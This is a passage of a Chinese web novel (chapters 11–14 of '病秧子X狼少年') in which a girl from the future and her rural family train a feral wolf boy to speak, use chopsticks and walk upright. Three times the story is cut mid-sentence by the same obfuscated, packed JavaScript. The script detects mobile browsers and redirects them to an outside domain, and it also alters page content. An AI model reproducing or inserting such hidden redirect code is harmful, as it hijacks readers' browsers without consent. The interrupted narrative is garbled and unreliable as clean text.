“是是是。”蔡淑芬双手合十祈愿道,“但愿只有好处,没有什么祸端。” 这时,祝安走过来,比划着手示意说饭菜做好,可以准备吃饭了。 “走走走,先吃饱再说。”徐家荣说。 番薯饭、薯叶炒鸡蛋、鲫鱼汤,在这里算是不错的饭菜了。 闻到饭菜的香味,饿了一天的狼孩醒过来,直勾勾盯着坐在饭桌旁的一家人,眼神狂热而疯狂。 “嗷呜——” 嗜血的渴望唤醒了身体里的躁动因子,要不是被绑着,他现在恨不得扑上去,化作饕餮开启自助餐模式。 “我先端些饭菜过去给他。”徐知画站起来说道。 “我去我去。”徐安荣自告奋勇,觉得狼孩就像是个大型宠物,对他还处于好奇阶段。 “那一起吧。”徐知画说。 11. 病秧子X狼少年 狼孩见他们靠近,龇着牙低吼着,蓄势待发,彷佛一感知到威胁就会拼个你死我活。 在距离狼孩几十米的地方,徐安荣蹲下身,小心翼翼地将装好饭菜的搪瓷碗推到他够得着的地方。 徐知画:…… 好像在喂狗。 狼孩嗅了嗅,饭菜的香味引诱着他慢慢靠近,见两脚兽没再有其他动作,他猛地扑到地上,三下五除二将碗舔了个精光,又迅速缩回树底下。 这过程不过十秒。 徐知画目瞪口呆地看着这一幕。 “妈,他吃完了。”徐安荣转头朝蔡淑芬喊道。 “吃完就吃完了,再多的粮食没有。”蔡淑芬不在乎地说,就当喂条狗,活着看家逗乐就行,“你们两个赶紧过来吃饭。” “我再看看。”徐知画说。 徐安荣看了看缩成一团的狼孩,提醒道,“龟妹你看看就好了,不要靠太近。” “好,知道。” 徐安荣走后,徐知画的视线在他身上打量,彷佛要将他盯出一个洞来,越看却越心慌。 他看起来长着刘白的样子,但是行为举止并没有半分刘白从前的样子。 那他还是刘白吗? “刘白,刘白,你还记得我吗?”徐知画轻轻唤了一句。 “哧哧——哧哧——”狼孩喘着粗气,目露凶光,这个娇弱的两脚兽他有信心能够压制得了,忍不住舔了舔嘴角。 他倏地腾起扑过来,徐知画吓得跌坐在地上,好在绳子牵绊住了他,并没有让他得逞。 那一刻,徐知画感受到了杀意,他是真的想吃掉她。 下一秒,几个身影炮弹一样冲过去,握紧拳头就是一顿暴揍。 “让你吓龟妹!让你吓龟妹!”徐安荣气哼哼着边打边骂。 “有没有伤到?”蔡淑芬和祝安过来将她扶起,仔细检查着有没有受伤。 “没有。”徐知画摇摇头,赶忙制止道,“我没事,别打了,别打了,再打就打死了。” 其他人这才停下手,见狼孩被打得不成人样,伤口又裂开了,徐知画感到一阵心累。 “打痛了,他就会怕,就不敢随便攻击人。”蔡淑芬拉住徐知画的胳膊走,“去吃饭。” 徐知画边走边回头:“他的伤口包扎要重新包扎……” “等会叫你二哥再去看看,死不了。”蔡淑芬不在意地说道。 徐知画不自觉叹了口气,心乱如麻,看他的样子,根本没有刘白的记忆,还想着和他商量对策怎么回现代。 现在看来,她还是一个人吗? 失落。 不过在看到他耳下的红痣后,徐知画又坚信他是刘白了,只不过是一个没有后世记忆的刘白。 他还是他。 既然他是刘白的话,那IQ肯定也会很高,她可以培养他像后世的刘白那么厉害,到时就有办法一起回去了吧。 有了这方面的想法,徐知画振作起来,干劲满满。 感觉在这个时代自己不是孤军奋战了。 * 这次被痛打一顿后,狼孩认清一个事实—— 这个看起来香香嫩嫩、娇娇弱弱的两脚兽,是族群里不能招惹的,一旦有伤害她的动作,其他凶猛的两脚兽看到后,则会对他拳打脚踢。 据他观察,她的地位还很高,其他两脚兽都在干活,就她坐在那里休息吃东西。 虽然不懂她为何如此受其他两脚兽的爱护和保佑,但是不妨碍他知道,如果讨好她的话,可能自己的处境会过得容易一些。 而且,看两脚兽们的反应,似乎并没有想要杀死他的想法。 为什么? 狼孩想不明白。 徐知画也想不明白,为什么教他用筷子就那么困难呢? 狼吞虎咽。 这个成语果然名不虚传。 筷子在他手上根本没发挥到一点儿作用。 好在之前训过狗,徐知画想着狗和狼也差不多,她是有经验的老师了,啥困难都能克服的! 软的不行,她决定来硬的。 在狼孩的面前,徐知画先是慢动作示范了一遍怎么拿筷子夹东西吃,接着让旁边的狗岁表演—— 只见狗岁拿起筷子就是狠狠一折,要不就是咬断,徐知画装出一副暴怒的样子,抬起手对着他的屁股就是一阵猛打。(屁股塞了枕头) “啪!啪!啪!”的声音,加上狗岁的惨嚎和惊惧的表情,显得下手特别重。 狼孩被眼前的这一幕吓得连连后退,眼里充满了警惕和不安。 徐知画再示范一次,狗岁这次乖巧地拿过筷子,夹起菜就吃。 徐知画及时给予正向反馈,满意地摸了摸他的头,又奖励他更多东西吃。 然后,一双筷子被塞到了狼孩的手上,他下意识丢了出去。 徐知画一个眼神,徐安荣将狼孩提过来,对着他屁股又是一顿暴揍。 他下手可没收着力,狼孩再次痛得“呜呜”叫。 而且如果想吃东西,只能用筷子,只要发现他直接用嘴去叼或者用手扒饭的迹象,不是打就是饿肚子。 如此反复训练,虽然拿筷子的姿势太不熟练,但狼孩总算学会用手握住,多试几遍也能夹起饭菜来。 狼孩很愤怒,不知道为什么要学习这些,直到那一天的到来—— 那一天,两脚兽们又将他丢进河里搓洗干净,他再次被绑起来,无法动弹。 紧接着,那娇弱的两脚兽拿着一把小小的武器在他的头上作乱,狼孩感受到一股寒气自脚底涌上头顶,汗毛倒竖,对于危险的警觉让他忍不住颤抖起来。 她要干什么? 随后,狼孩看见黑黑的毛发一撮一撮掉落,头顶发凉,意识到发生了什么,他痛苦而疯狂嚎叫起来。 她怎么敢! 她怎么能! 本来身上的毛发就不茂密,现在全没了,想到若是再见到昔日的伙伴,那肯定会被嘲笑死。 狼孩感到一阵绝望。 他恨她! 就在他痛哭得不能自己,一个奇怪的东西被递到面前。 狼孩惊奇地瞪大了眼睛,里面竟藏着个两脚兽,可他动,里面的两脚兽也动。 他低头观察了一下自己的四肢,又看了看旁边的两脚兽们,他终于认清一个事实—— 他不是狼! 他也是一个两脚兽! 这个发现打破了他的认知。 他什么时候变成两脚兽了? 他听见面前的两脚兽说:“我们都是人,人,知道吗?人,人,人。” 狼孩盯着她红润润的嘴唇,不自觉跟着噏动:“re ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880242|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' n,ren,ren。” 虽然说得不甚清晰,但隐约还是能听出来。 狼孩心脏扑通扑通狂跳,新奇的体验让他感到很美妙。 “徐知画,刘白。”徐知画先反手指了指自己,再将食指指向他。 狼孩有样学样,说得很是艰难:“西子花,牛掰。” “徐、知、画,刘、白。”徐知画放慢速度,一字一顿纠正。 “龟妹,姑姑叫龟妹。”狗岁打断道。 听着这个称呼,徐知画尴尬扶额,那时刚来到这里,对所有事都漠不关心,觉得也呆不久,他们叫自己什么也无关要紧。 叫着叫着,听着听着,这个土土的称呼竟也听习惯了。 后来她在大队还发现了“猪妹”“狗妹”“鼠妹”等,可见在这里,【动物+妹】的组合名字是司空见惯。 “那是小名,我向他介绍的是大名。”徐知画一本正经地说。 “那我有大名吗?”狗岁好奇地问。 徐知画:“这个要问你爸妈。” “我爸妈不在家。”狗岁脸色低落,一下子由晴转阴。 徐知画想起徐敬荣和池清荷早已休假结束,上去工作了,狗岁是留守儿童。 “对啦,我可以去问爷爷奶奶,他们肯定也知道。”狗岁情绪来得快,去得也快,说着蹦蹦跳跳找二老询问去了。 徐知画专心教学:“刘——白,徐——知——画。” 狼孩学着学着有些烦躁了:“牛——掰,西——子——花。” “刘白。” “牛掰。” “刘!白!” “牛!掰!” 怒火“噌”一下上头,徐知画控制不住情绪上手拧着他的两腮喊道:“刘白!你牛掰什么呀!你自己名字都说不清楚!这是最简单最基本的了!” 拧着拧着,徐知画的手都累了,他脸皮一点没红,还不服气地怒瞪着眼。 气不打一处出,徐知画猛地摇晃起他的脑袋,企图晃掉里面的水,变回以前聪明的刘白,咆哮着:“刘白!刘白!刘白!刘白!你还要我教多少遍!” 一旁的徐康荣看着逐渐癫狂的小妹,提醒道:“龟妹,先歇歇,喝口水。” 意识到人前失态了,徐知画深呼吸平复着心情,不过转瞬间,狂躁脸恢复成淡然脸。 “祝安,死哪里去啦!赶紧拿水壶过来!”徐康荣冲屋子里喊道。 徐知画连连摆手:“不用叫她,我不渴。” “你教了那么久,不渴也喝点水润润喉。”徐康荣贴心地说。 说话间,祝安提着水壶过来,一人倒了一碗水放在旁边的木桌上。 徐康荣又挑起刺来,态度恶劣:“磨磨蹭蹭,这么热的天,不会放点金银花下去泡水啊,真是一点眼力见都没有。” “你别这么说她。”徐知画皱了皱眉。 “她就是欠骂,说一句动一下。”徐康荣瞪了祝安一眼,“还不快去。” 祝安温温柔柔地冲徐知画笑了笑,转身回屋拿金银花去了。 徐知画再一次感慨这个时代女人的可悲,以夫为天,任劳任怨。 不过人家夫妻间如何相处,她也不好多说什么。 徐知画转头对上狼孩眼巴巴的目光,没好气道:“你今天说不准自己的名字,没得喝!” 12. 病秧子X狼少年 “刘白,握手。” “刘白,打滚。” “刘白,捡回来。” “刘白,……” 刘白刘白刘白叫多了,狼孩听到这两个字形成了条件反射,在一次次纠正下,也能字正腔圆说出自己的名字了。 关于为什么给他取这个名字,徐知画给出的解释是:“他长得有点黑,要留一点白才好看。” 这一看,狼孩的确是有点黑,徐家人并没有什么异议,也无所谓。 刘白在明白自己是个【人】,而非【狼】后,他开始主动观察、模仿人类。 他喜欢每当完成人类的指令时,奖赏的食物和赞赏的眼神。 人类果然像传说中那般厉害。 当看到一个难产的山羊被抬到徐康荣的面前,就在刘白以为山羊必死无疑时,徐康荣妙手回春救活了它。 刘白是大开眼界,大为震撼。 他后知后觉伤口在每次“折磨”(换药)下,日渐康复,于是乎,对人类的警惕防备也日渐放松。 他也想成为厉害的人类。 “刘白!你这个天杀的蠢货!” 天光破晓,又迎来了新的一天,一声刺耳的痛骂惊醒了睡梦中的人们。 徐知画披上一件薄衫出去一看,见蔡淑芬一脸暴怒,揪着刘白的耳朵,不堪入耳的脏话一句接一句从嘴里冒出。 蔡淑芬看到女儿,强行将火气降了降,缓缓道来:“今早我出来一看,家里那只母鸡被他打折了腿,还有晾晒的草药被糟蹋光光,搞得乱七八糟,气死人!” 徐知画注意到刘白被绿糊糊的草药糊了满身,旁边还有一只鸡亦然,踉跄着一只腿想逃离。 “一天天尽会找麻烦,看我不打死他!”说着说着火气又燃起来,蔡淑芬随手找来一根竹条想要教训教训他。 刘白不明白蔡淑芬为什么那么生气,但见她气冲冲地拿着一根竹条朝自己走来,怎么看都是要打自己,她追到这边,他就跑到那边。 “大家快抓住他!”见其他人也被吵醒了,蔡淑芬赶紧吩咐道。 这一声令下,一家人开始了“你追我跑”的抓捕之中。 在众人的合力追捕下,刘白还是被抓住了。 “太脏了!赶紧带他到河里洗干净!”蔡淑芬边说边抽得他痛呼连连。 刘白被徐家荣和徐安荣连拖带拽往河里赶去。 “龟妹,你就不用跟过来了。”徐家荣喊住了徐知画的脚步,心想着要不趁机丢他回深山。 “你们带他出去,记得带他回来。”徐知画不放心地叮嘱道。 “知道。”徐家荣不情不愿地答道。 “龟妹放心,我会将他洗白白带回来给你玩的。”徐安荣笑呵呵着说。 “走快点。”徐家荣催促道。 来到河边,两兄弟将刘白丢进河里,再扑通跳下去。 水包裹住身体,刘白被呛得呼吸不过来,“咕噜咕噜……咕噜……咕……咕噜噜……”越挣扎,肺部撕裂和灼烧感越剧烈。 就在他以为要死去时,脖颈猛地被拎起,口鼻浮在水面上,大口大口地喘息着。 然而下一秒,他的脑袋被重重摁下去,窒息感再次涌来。 紧接着又被救起,再沉溺…… 如此反复,刘白意识到对方在戏弄折磨自己。 他生气了! 可打不过! 生气无用! 更加生气了! 刘白暗暗在心里记下这一笔,想着有朝一日,总要报复回来! 折腾累了,徐家荣将刘白丢给徐安荣搓洗,自己去摸了几条鱼,最后又揍了他一顿,才起身回家去。 刘白又被栓起来了,还被罚没有早餐吃,看着对面一家人吃着香喷喷的馒头,他愤怒地嘶吼着,想吸引他们的注意。 “想吃?”徐家荣挑衅般拿着馒头来到刘白的面前,慢悠悠吧唧吧唧嚼着,逗得他直流口水,才目露讥嘲道:“没有!” “嗷呜——嗷呜——”刘白气得面目狰狞,却别无它法。 他们有什么好生气的,他忍着没吃那只鸡已经很了不起了。 之前看徐康荣将那些草药捣烂敷在伤口上,就会好起来,他只是想打折鸡的腿试验一下,有什么错?! “你真是大错特错!你这个大笨蛋!不要总想着搞东搞西!站直了走路!”徐知画手拿竹条,一看他有懈怠之意就甩一鞭过去。 竹条细细一根,抽到身上却火辣火辣般的疼痛,刘白被打出了阴影,看到竹条就乖顺得像小绵羊。 见徐康荣已经将鸡的腿包扎好,相信不日就会好起来,刘白想学这门手艺,想凑上前瞧仔细。 鸡看到他靠近,扑腾着翅膀咯咯尖叫着。 徐知画又一竹条抽过去:“今天你给我学会怎么站直走路!” 看着他走路四肢八歪的样子,有时徐知画也会怀疑,他真能变回那个天子骄子吗? 刘白挺了挺脊背,满腔怨恨浮起,幻想着总有一天身份调换,叫她尝尝被竹条抽的滋味。 “来来来,往里走,狼孩就住在这家。” 伴随着大队长徐开鸿声音,只见他带着两个陌生人跨进院子。 “哟,正在驯他呢。”徐开鸿边往里走边笑着介绍道,“这是悟曦日报的访员程阳同志和驯兽师黄二同志,今天想来给狼孩做个专访宣传宣传。” 刘白呲着牙,弓起身子做出防御动作,防备地看着来人。 “欢迎欢迎。”徐康荣招呼道,“龟妹,去屋里搬凳子出来。” 徐知画听话照做,心里隐隐有些不安。 大家坐下后,想到家里并没有什么瓜果招待,徐知画又给每人倒了一杯水喝。 刘白缩在徐知画的身后,对面那个尖嘴猴腮的男人眼珠盯着他滴溜溜转,看得人发毛。 “看来这段时间训练有成效啊,他不会随便攻击人吧?”徐开鸿有些担忧地看着狼孩,唯恐一不注意他就发起攻击。 “不会。”徐知画本来是不想棍棒教育的,但后来发现上手比说教更能让他印象深刻做出改变,靠着一根竹条,他不敢还手。 毕竟,刘白试过很多次了,还手的后果,他可不想再多体验。 并且在徐知画的坚持下,他获得了活动自由。 访员程阳掏出笔记本和笔,问了发现狼孩始末和一些日常问题,又拍了几张照片,感觉内容有点过于平淡,不甚满意。 这时驯兽师黄二提议道:“且让我来会会他。” “你随意。”徐康荣做了一个请的动作。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880243|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黄二从包里掏出一块生肉用线绑在一根竹竿上,像钓鱼般站在刘白身后不远处引诱道:“来,刘白,过来。” 刘白眼睛一眨不眨地盯着生肉,不自觉咽了咽口水,他好久没吃过这么一大块肉了。 他猛地扑过去,却见黄二将竹竿一抬,生肉被甩飞了。 看着这一幕,徐知画皱了皱眉:“这是要干什么?” 徐开鸿接话道:“黄二同志说想驯驯他,不用紧张。” 这怎么看都是将他当猴耍的架势,徐知画隐隐有些不悦。 黄二将生肉甩过来甩过去,刘白就扑过来扑过去,抓住时机,纵身一跃,成功将肉抓在手上,正打算美美享受一餐。 却见黄二拿起竹竿狠狠敲打着他的后背。 “刘白!”徐知画气冲冲地来到黄二面前,将竹竿夺下,“你这是在干什么?” “刘白!不能吃!”徐知画转头又冲刘白吼了一句。 刘白被吓了一个哆嗦,仍护食地将肉紧紧地攥在手上,狼吞虎咽地吃起来。 “我只是想让他将肉放下。”黄二摊摊手。 “你不想给他,就不要这样逗他。”徐知画瞪了他一眼,快步走到刘白面前,想从他口中夺下生肉。 “不能吃!给我!”徐知画掰着他的嘴巴。 “龟妹!快走开!”徐康荣急急喊道。 “嗷呜——”刘白不耐烦地冲徐知画咆哮了一声。 “哎呀,小心他咬你!”徐开鸿赶忙拉她离远点,想起他家的狗有次护食把人咬了,这可不是闹着玩的。 “这照片好,有故事性。”他们争执的时候,程阳见机摁下快门。 “你不能再喂他吃生肉!”徐知画气鼓鼓地对黄二说。 “放心,他心里有数。”徐开鸿拉她坐下,淡定道,“黄二同志是这附近有名的驯兽师,且让他调教调教这狼孩。” 黄二紧接着又将一块肉掉在大圆环内,用手势重复做了一个穿过圆环的动作,刘白意犹未尽地盯着那块肉,舔了舔嘴角。 “来,钻过去。”黄二目光迫切,看着他好像看到了一棵摇钱树。 刘白四肢伏着,试探着往前走了几步,见对方没有威胁之意,以迅雷不及掩耳之势跃起、从圆环中间钻过,用嘴叼走了肉。 “好!”黄二不由得鼓了鼓掌,走过去又丢了一块肉给他,赞赏道,“做得好!” 这样的眼神刘白很熟悉,明显是夸赞,他津津有味地吃着肉,好开心! 圆环的高度一次次增加,但刘白在其示意下最后还是挑战成功,看得黄二是心花怒放。 “我想要带他走。”黄二笑眯眯地摸了摸刘白的脑袋。 徐康荣听到这话,心想:【好啊好啊,立刻带走。】 “不行!”徐知画想都没想就拒绝了,“你将他当作什么了?他是人,不是玩杂耍的动物。” “大队长。”黄二看向徐开鸿,笑了笑,“你看这事……” 徐开鸿想到还没捂热的粮票,清了清嗓子,说:“这段时间,你们照顾狼孩辛苦了,相应的补偿我会给你们……” “大队长,他现在就是我的家人,谁都不能带走他。”徐知画打断了他的话,坚定地说,“你们要带走他,除非从我的尸体上踏过去。” 13. 病秧子X狼少年 刘白隐隐约约看明白面前这个给肉吃的男人想带自己走,而徐知画不让。 为什么不让?! 刘白很生气,觉得她阻挡了自己通往填饱肚子、幸福每餐之路。 他不高兴地将挡住去路的徐知画一推,眼巴巴地跟在男人的身后,如果有尾巴的话,这一刻可以看到摇得非常欢快。 【带我走吧,我要吃肉肉。】 刘白讨好地用脑袋蹭着男人的胸膛,一脸谄媚样。 “你看,他是想跟我走的。”黄二哈哈大笑起来,得意地给徐知画抛去一个挑衅的眼神。 “他现在是傻的,我不是。”徐知画冷哼道,“你不要想着靠几块肉就骗走他,他不能离开我。” “多一张嘴吃饭,多个负担,女娃娃,非亲非故的,你又何必非要收留他。”黄二满意地看着刘白,继而劝说道,“跟着我,保证他饿不死,你想要什么补偿,也尽管提。” “我也不会让他饿死,用不着你什么补偿。”徐知画看着刘白笑得鬼迷日眼,被人卖了还要帮人数钱,怒火就噌噌噌往脑袋上冒。 “刘白!你给我滚回屋里去。”徐知画脸色比锅底还黑,忍不住怒吼道。 这句话这几天经常听,刘白知道应该怎么做,可是他现在不想滚回屋里,就想跟黄二走。 【带我走吧,带我走吧。】 刘白顺势躺在地上,露出肚皮打滚着以表达友好乐意。 又傻又蠢的样子真是没眼看。 徐知画根本无法将眼前这个人和现代让无数女生着迷的高岭之花联系到一起,这不是她认识的刘白! 她简直是要疯了! “刘白!你再不滚进屋,我要抽你了。”徐知画很想在外人面前保持温柔体面的形象,可实在是忍无可忍。 她一举起竹条,刘白便怂了,连滚带爬缩回屋子里,躲在门后探头探脑瞧着。 徐康荣看徐知画如此坚持,自是据理力争站在她那边,最终刘白还是留了下来。 “既如此,你们接着好好教导狼孩,我送两位同志出村。”徐开鸿打着圆场道,心知肚明跟着黄二肯定没好日子过,这给的缺德钱不是很多,不赚也罢。 黄二不舍地看了看刘白,仿佛看到摇钱树离自己越来越远了,不过来日方长,想得之,需再筹划筹划。 “程阳同志,请留步,我有事想请教请教您。”徐知画说。 “我们在外面等你。”徐开鸿和黄二先出去了。 程阳好奇地看着这个很有主见的姑娘,面容白皙,标志的瓜子脸,明眸皓齿,不难看出再长大些会是个明艳动人的美人。 而且外表娇娇弱弱的,但她身上就是有一股韧劲,面对外人时敢据理力争自己所想要的,这是很多年轻女孩不具备的品质。 在她澄澈的目光中,反倒是程阳先生出不自在来:“请问找我有什么事吗?” “嗯,像您这样见多识广的访员同志,我很是敬佩崇拜。”求人办事,徐知画先给对方戴上一顶高帽,也默默观察着他。 在这里的庄稼汉大多数穿补丁的粗衣麻布时,他就已经穿上了的确良短袖白衬衫和牛仔裤,头发也是搭理过的,可见走在时尚潮流的最前沿,家底不一般。 “我想打听一下,现在如果向报社或者画报杂志投稿的话,请问稿费怎么算呢?”徐知画问道。 手上没钱,心里没底,既然打算留在这里生活,想干点什么事,还是需要钱的支撑。 “稿费?你说的是稿酬吧,现在稿酬制度已停止执行,大多数人是零稿酬创作。”想到现在的创作环境,不容乐观啊,程阳叹了口气,继而说道,“不过所创作的作品要是被采纳的话,有些出版社会赠送报刊、图书、文具、购书票等票证。你有兴趣的话,可以试试。” “啊?这样啊。”徐知画愣了愣,虽然知道这个时代的特殊性和局限性,但真是一文钱难倒英雄汉,不过还是要试试,就当积攒经验和名声,毕竟以后的局势只会越来越好。 “多谢告知。”徐知画感激地笑了笑,请求道,“方便帮我留意一下出版社或者报社杂志的联系方式吗?我写作画画还不错,到时送你一张画像怎么样?” “噗嗤——”程阳没忍住笑出声,她年岁不大,却自信爆棚,好似只要投了作品,就一定会被采纳一样,到底是没忍心打击她的信心,他点点头,说:“行,回去我收集好地址给你寄过来。” “再次感谢,等我出名了,我不会忘记您对我的帮助,如果将来我创作的作品名扬海外,有像您一样的访员来采访时,我一定会说是您雪中送炭独具慧眼,我有明天的成就,离不开今天您的支持,我一定要报答您的知遇之恩。”徐知画嘴巴叭叭一堆,画的饼又大又圆,最后才缓缓道出目的,说,“您看要不先投资一下我这个未来之星?” 程阳对她这番言论感到很新奇,也很欣赏她的自信,笑道:“怎么投资?” “您看我现在是捉襟见肘,能不能先资助我一些颜料、画笔和白纸?”巧妇难为无米之炊,徐知画以往哪里需为这些操心,说出来还有点不好意思。 前提巴巴拉拉说那么多,程阳还以为她会提出什么惊天动地的要求,结果,就这? 真是狮子小开口,这对他来说不过是举手之劳,程阳嘴角没绷住弯了弯,豪爽道:“行。” 见两人相谈甚欢的样子,虽然并无逾越之举,但是离得有点远了,听不清在说些什么,徐康荣是坐立不安啊,胡思乱想着龟妹是不是对这个看起来人模人样的访员有意思,看他油头粉面不是个可靠的,可不要被他骗了去。 “那就拜托您了,程同志慢走,有空再过来玩。”徐知画送他到门口,挥手告别。 直到看不见背影了,徐知画才转身回屋。 “龟妹,来一下,我有话要问你。”徐康荣喊住了她的脚步。 “怎么啦?”徐知画走过去,顺势拉凳子坐下。 “有些人外表看上去光鲜亮丽,其实包藏祸心,你现在年纪还小,看不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880244|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人的花花肠子,作为你的哥哥,有义务在你误入歧途之前提醒你,离刚才那个男人远点。”徐康荣仿佛看到一个无知少女即将被骗身骗心,担忧至极。 “你想哪里去了?”徐知画无语地笑了,说,“我只是有求于他,问他点事,当他是财神爷那样敬着,你别想那些有的没的,我才多大年纪啊,没有谈恋爱那心思。” “那就好。”听她这么回答,徐康荣松了口气,话一转,问道,“你有什么事要求他帮忙,怎么不跟我说?” 这不是看这个家穷得响叮当,穿的都是破破烂烂,她怎么好意思要钱提要求。 “不是什么大事。”徐知画敷衍道,只想着自己挣钱,想怎么花就怎么花。 “龟妹,我是你哥哥。”徐康荣眸光微暗,笑意苦涩不达眼底,“你宁愿向外人求助,也不愿跟我说吗?” 徐知画心虚地抠了抠指甲,讪笑道:“我就想请他帮忙买一些画画的工具给我,他是访员,弄到这些东西应该很方便。” 光荣大队有个供销社的代销点,但卖的都是烟酒糖茶,油盐酱醋等等一些日常用品,颜料肯定是没有的。 “这些东西三弟可以帮你弄来,以后有什么想要的东西,直接跟家人们说。”徐康荣看着她欲言又止的样子,放低了声音接着说,“我们家虽然看起来穷,但这么多年下来,还是积攒了一些家底,只不过在外人面前,还是要装装穷样子,不然会招惹来嫉恨。” “总而言之,你日常缺啥想买啥,不用跟我们客气,哥哥们很乐意给妹妹花钱的。”徐康荣当即从口袋里掏出几张钱票,说,“这些先给你,不够我晚点回屋再拿。” “不用,你收着吧。”徐知画摇摇头。 “你又跟我客气了。”徐康荣故意板起脸。 “那我想问一下,把屋子推了重建,需要花多少钱?”徐知画看着他又问道,“能不能在院子里打口井啊?” 听到她一连二问,徐康荣倒吸了一口气,她还真不客气啊。 “这个……家里目前没有那么多钱,也没有重建房和打井的打算。”刚才还说不用客气,现在妹妹说出想要的了,却无法满足,徐康荣感觉脸火辣辣的。 “你先说大概要多少嘛,我也好有这个动力去赚这笔钱。”徐知画可没想过要这一家子怎么辛勤努力去满足自己的需求。 “几百块是要的。”徐康荣说。 “几百块?几百块就行了?不用几千几万块?”徐知画惊讶道。 徐康荣:“像村里那种土坯房,就几百块可以了。” “那么便宜!”徐知画的眼睛一下子迸发神采,仿佛看到新房子在向自己招手了。 徐康荣幽幽道:“你是不当家不知柴米贵,赚钱很难的。” 听她的语气,几百块好像随随便便不费吹灰之力就能赚到一样。 “等着吧,以后我带你们吃香的喝辣的。”徐知画嘴唇上翘,心中的阴郁一扫而空,从没有哪一刻像这一刻,这么迫切想搞钱。 14. 病秧子X狼少年 “刘白!你敢动试试?” 太阳照常升起,今天徐知画给刘白布置两个任务: 一、贴墙站改善体态; 二、掌握走姿基本要领。 此时,徐知画一个眼神杀过来,只见刘白直挺挺地贴墙站着,然而坚持不过五分钟,他忍不住想动一动。 “嗯?”徐知画拿起旁边的竹条。 刘白立马身姿挺拔如青松,一动不敢动。 徐知画放下竹条,又埋头专心编写教材,毕竟想要将刘白培养成一个出色的物理学家,识文断字是必需的。 她开始绞尽脑汁回忆小学时学过的拼音,边写边念出来:“张大嘴巴aaa,公鸡打鸣ooo……刘白!” 徐知画再次抬起头,面带愠怒:“站好!” 刘白瘪着嘴瞪着她,站着不动好难受啊,快坚持不住啦,为什么她坐着,却要他站着,他不服气! 徐知画心里着急得要死,他现在还不是之前那个天赋异禀品学兼优的天子骄子,已经输在起跑线上了!!! 看着他这副傻乎乎不思进取的样子,她就气得要死! 心头倏地蹿起一股子无名火来,徐知画“啪!”一声将笔放下,气冲冲地来到他面前,两簇怒火在双眼中闪烁。 “时间不等人懂不懂?这点困难都克服不了,你还能做什么!是,做了那么多年的狼,我现在让你做人,蜕变的过程是痛苦的!我也想一蹴而就啊,但谁让你来到这时代没记忆呢,那就从头开始咯!我是为你好,你也不想这样稀里糊涂过一辈子吧?做人,你首先要端正态度,你看你这吊儿郎当的,能不能有点自觉性,站好!” 若是自己有他之前学物理那个脑子,就不指望培养他成才,以求一个重回现代的机会了。 她也想自己上啊,但是…… 气啊! 她在说什么,刘白一句都没听明白,不过那字字句句好似都化成了利刃,刺得耳膜生痛。 可怕! 她生气的样子好可怕,刘白一颗心提到了嗓子眼,身体的每个细胞都恨不得直立以求她消消怒火。 “后脑勺贴墙!两肩同高!挺胸收腹!双腿并拢!”徐知画边说边纠正道。 徐知画站在面前,刘白收起松懈懒散,她怎么要求,他就怎么做。 “你看,你这做得不是挺好的,真棒!继续坚持。”徐知画摸了摸他的脑袋,鼓励道,“Goodboy。” 她笑了。 这一瞬间,好像阳光驱散黑暗,冰雪消融,春暖花开,刘白提着的心放下,也忍不住跟着笑起来。 她看起来好好吃,刘白私认为其他人都不如她好吃。 白白糯糯的脸蛋,生气时两腮还会鼓起来,他猜测味道肯定是香香甜甜的,想着想着肚子又饿了,可他不敢咬过去,上次刚张口,他就被痛扁了一顿,他还记得呢。 要是吃了她,他肯定也活不了,刘白知道在这家中徐知画的地位,很是识时务。 他还想作为人在这世间生活了。 【不能吃她!】刘白暗暗告诫着自己。 “咕咕——咕咕咕——” 口水在口腔中泛滥,刘白不自觉咽了咽。 “饿了?再站半个小时,就给你吃的。”徐知画说。 她不动,刘白也不敢动,两人就像两座雕塑一样相对而站。 看着刘白,徐知画心想着他现在好黑,皮肤粗糙黯淡,看惯了他的俊颜,这个落差还真看不惯,为了对自己眼睛友好一点,要想法子给他美白一下才行。 要是他也有现代的记忆,看到这样不修边幅的自己,会是什么感想反应?不过她肯定是要大笑特笑他的。 又想到现在自己相当于带领他进击物理界的老师,还有很长一条路才能让他变成那个优秀的刘白,徐知画就笑不出了。 差不多半个小时过去,徐知画去厨房将番薯粥、猪油炒薯叶和清蒸鱼端上桌,刘白早已乖乖坐在凳子上伸长脖子等待着,两掌摊开给她看,以示自己洗过手了。 “康荣哥,吃午饭了。”徐知画冲屋外喊了一句。 “欸,就来。” 刘白看着桌上的食物蠢蠢欲动,想趁徐知画不注意先偷吃一点,刚伸手就被抓个正着。 “别动!”徐知画拍了一下他的手背。 “嗷呜~”刘白不爽地喊了一声。 “嗯?”徐知画一记眼刀过去,“端正坐姿!” 